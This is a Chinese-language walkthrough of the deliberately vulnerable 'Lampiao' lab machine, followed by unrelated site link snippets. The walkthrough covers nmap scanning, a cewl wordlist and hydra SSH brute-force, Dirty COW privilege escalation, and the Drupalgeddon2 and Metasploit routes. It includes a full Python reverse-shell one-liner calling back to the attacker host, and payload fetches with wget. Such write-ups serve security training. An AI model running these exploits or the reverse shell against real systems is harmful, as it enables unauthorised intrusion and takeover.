实战流程

1,nmap扫描C段

┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -sP 192.168.186.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-24 03:34 EDT
Nmap scan report for 192.168.186.139 (192.168.186.139)
Host is up (0.00031s latency).

2,找到靶机,进行进一步扫描,发现目标计算机上有三个可用的开放端口22、80、1898端口

┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -p- 192.168.186.139

3,信息枚举:http://10.211.55.9:1898/ -> Read more 发现改页面信息:

http://10.211.55.9:1898/?q=node/2
页面发现:
audio.m4a:语音获得用户名:tiago
qrc.png:图片二维码扫描获得信息,需要爆破

4,爆破网站目录

┌──(root㉿heiyu)-[/home/whoami]
└─# dirb http://192.168.186.139:1898

获得url:http://10.211.55.9:1898/robots.txt

继续枚举获得:http://10.211.55.9:1898/CHANGELOG.txt

发现是:Drupal 7.54, 2017-02-01

4、获取密码字典:cewl:通过爬行网站获取关键信息创建一个密码字典

cewl http://192.168.186.139:1898/?q=node/1 -w heiyu.txt

5、hydra爆破

hydra -l tiago -P heiyu.txt 192.168.186.139 ssh

先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习,然后九头蛇暴力破解得到用户密码:
[22][ssh] host: 10.211.55.9 login: tiago password: Virgulino 用户: tiago
密码: Virgulino

6、登录ssh

ssh tiago@192.168.186.139

发现是低权限用户!需要提权!

版本信息如下

7、提权

https://github.com/mzet-/linux-exploit-suggester

下载提权文件

proxychains wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

开启web服务

在目标服务器上下载les.sh文静

wget http://192.168.186.130:8081/les.sh

追加执行权限

chmod +x les.sh

执行文件后会列出可以用于该linux服务器上提权的方法

./les.sh

使用其中的脏牛提权

搜索kali自带的exploit

谷歌搜索40847的具体用法

https://www.exploit-db.com/exploits/40847

// EDB-Note: Compile:   g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s

把40847.cpp文件复制到poc中(因为这个文件夹开了网络服务)

┌──(root㉿heiyu)-[/home/whoami]
└─# cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/whoami/poc

目标机器下载40847.cpp

wget http://192.168.186.130:8081/40847.cpp

执行cpp文件,生成可执行文件heiyu

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o heiyu 40847.cpp -lutil

-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
执行gcc编译可执行文件,可直接提权。

执行heiyu

./heiyu

获得root的密码

Root password is:   dirtyCowFun

重新链接ssh

┌──(root㉿heiyu)-[/home/whoami/poc]
└─# ssh root@192.168.186.139

root登录成功

获取flag成功

root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366

思路拓展1--Xray一条龙

1、通过AWVS+xray跑出了poc:poc-yaml-drupal-cve-2018-7600-rce

那么Xray是给出了两篇poc的文章:

https://github.com/dreadlocked/Drupalgeddon2

https://paper.seebug.org/567/

通过文章查看,Drupalgeddon2有poc都是rb运行文件,下载!

proxychains git clone https://github.com/dreadlocked/Drupalgeddon2.git

安装模块,用来排错

sudo gem install highline

安装完highline后即可执行

./drupalgeddon2.rb http://192.168.186.139:1898/

脚本很强大,通过服务器7.54版本的漏洞,直接在网站的根目录写了个shell

此时已经获取的这个shell,正向shell

由于该shell不能执行g++,并且实战中有防火墙的原因,正向shell一般不稳定,因此尝试通过反弹shell获取链接

本机开启6666端口

目标机开启反弹shell脚本

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

获取反弹shell

补齐shell弹框

python -c 'import pty; pty.spawn("/bin/bash")'

下载提权文件

wget http://192.168.186.130:8081/40847.cpp

编译提权文件

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

执行提权可执行文件

./40847

拓展思路2-Metasplit

谷歌搜索:Drupal 7.54 exploit

# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
msfconsole

使用exploit/unix/webapp/drupal_drupalgeddon2

显示条件信息

 show options

set RHOSTS 192.168.186.139
set RPORT 1898
run

此时获取了了伪shell

进行shell的补齐

meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'

此时获取稳定shell

提权

上传提权文件,后面跟之前的方式一样

meterpreter > upload /home/whoami/poc/les.sh /tmp/

脑图

【原创】项目二Lampiao的更多相关文章

  1. Eclipse+Maven创建webapp项目<二> (转)

    Eclipse+Maven创建webapp项目<二> 1.开启eclipse,右键new——>other,如下图找到maven project 2.选择maven project,显 ...

  2. Vue小项目二手书商城:(四)详情页和购物车(emit、prop、computed)

    实现效果: 点击对应商品,对应的商品详情页出现,详情页里面还有“Add to cart”按钮和“×”退出按钮. 点击“Add to cart”可以将商品加入购物车,每件商品只能添加一次,如果把购物车的 ...

  3. Vue小项目二手书商城:(三)前端渲染数据

    实现内容: axios取到的数据在前端使用(父子组件各自应该怎么使用) 一.简单使用(在哪取在哪用) 1.在App.vue中script中加上data(data专属于当前组件,父子组件传参通过prop ...

  4. Vue小项目二手书商城:(二)axios前后端数据交互

    实现内容: 写路由接口(express) axios取数据 一.写接口 1.我们要在前端取到后端的数据(之前写的data.json)可以用vue-resourse或者用axios,在vue2之后官方就 ...

  5. Vue小项目二手书商城:(一)准备工作、组件和路由

    本项目基于vue2.5.2,与低版本部分不同之处会在(五)参考资料中提出 完整程序:https://github.com/M-M-Monica/bukesi 实现内容: 资源准备(mock数据) 组件 ...

  6. Eclipse+Maven创建webapp项目<二>

    Eclipse+Maven创建webapp项目<二> 1.开启eclipse,右键new——>other,如下图找到maven project 2.选择maven project,显 ...

  7. crm 系统项目(二) admin 后台操作表格

    crm 系统项目(二) admin 后台操作表格 1. app下创建 templates  运行的时候 先找全局的templates——> 按照app的注册顺序找templates中的文件 2. ...

  8. 聊聊 Web 项目二维码生成的最佳姿势

    在设计和实现的过程之后,你永远不知道部署上去的程序会已什么样的姿势运行. 本篇借一次生成二维码逻辑的不同实现,阐述 Web 项目中二维码生成的正确姿势. 文中如有批量,欢迎各位看客老爷拍砖.试运行前5 ...

  9. Android开源项目(二)

    第二部分 工具库 主要包括那些不错的开发库,包括依赖注入框架.图片缓存.网络相关.数据库ORM建模.Android公共库.Android 高版本向低版本兼容.多媒体相关及其他. 一.依赖注入DI 通过 ...

随机推荐

  1. 微信小程序 iphone6 和 iphone6plus 如何设置rpx单位,通俗易懂的方法

    pt:屏幕物理像素(屏幕实际宽度像素) px:屏幕分辨率 pt和px关系:iphone6plusppi密度高,1pt里有3px,iphone6 1pt里有2px. iphone6宽度 (物理像素) : ...

  2. 深入理解ES6之《块级作用域绑定》

    众所周知,js中的var声明存在变量提升机制,因此ESMAScript 6引用了块级作用域来强化对变量生命周期的控制let const 声明不会被提升,有几个需要注意的点1.不能被重复声明 假设作用域 ...

  3. 论文解读(XR-Transformer)Fast Multi-Resolution Transformer Fine-tuning for Extreme Multi-label Text Classification

    Paper Information Title:Fast Multi-Resolution Transformer Fine-tuning for Extreme Multi-label Text C ...

  4. InputStream in = JdbcUtil.class.getClassLoader().getResourceAsStream("dbinfo.properties");

    1.与普通程序不同的是,Java程序(class文件)并不是本地的可执行程序.当运行Java程序时,首先运行JVM(Java虚拟机),然后再把Java class加载到JVM里头运行,负责加载Java ...

  5. 解决webpack项目中打包时候内存溢出的bug JavaScript heap out of memory

    vue 项目 npm run dev 的时候一直卡住不动:后来找到报错是 Ineffective mark-compacts near heap limit Allocation failed - J ...

  6. C语言 之 多线程编程

    一.基础知识 计算机的核心是CPU,承担了所有的计算任务. 操作系统是计算机的管理者,负责任务的调度.资源的分配和管理,统领整个计算机硬件. 应用程序则是具有某种功能的程序,程序是运行于操作系统之上的 ...

  7. 怎么快速找出帝国CMS数据库配置文件路径及迁移网站后修改技巧!

    首先,我们要了解一下帝国CMS整个目录结构,只有了解清楚结构,我们才有可能快速找到自己想要的文件,比如:帝国CMS数据库配置文件路径! 帝国CMS目录结构介绍 / 系统根目录├d/ 附件和数据存放目录 ...

  8. python3拉勾网爬虫之(您操作太频繁,请稍后访问)

    你是否经历过这个:那就对了~因为需要post和相关的cookie来请求~所以,一个简单的代码爬拉钩~~~

  9. js中的undefined

    undefined,一个特殊值,通常用于指示变量尚未赋值,是一个JavaScript的 原始数据类型 . 如果后台返回前台数据为空(无数据),那么用该对象获取其中的属性会显示undefined. 如果 ...

  10. Java学习day11

    如果程序出现了问题,我们没有做任何处理,JVM会做默认处理,即:把异常的名称,原因和位置等信息输出在控制台,程序停止执行 一个简单的检测集合对象是否含有某元素,有就再添加一个某元素 public cl ...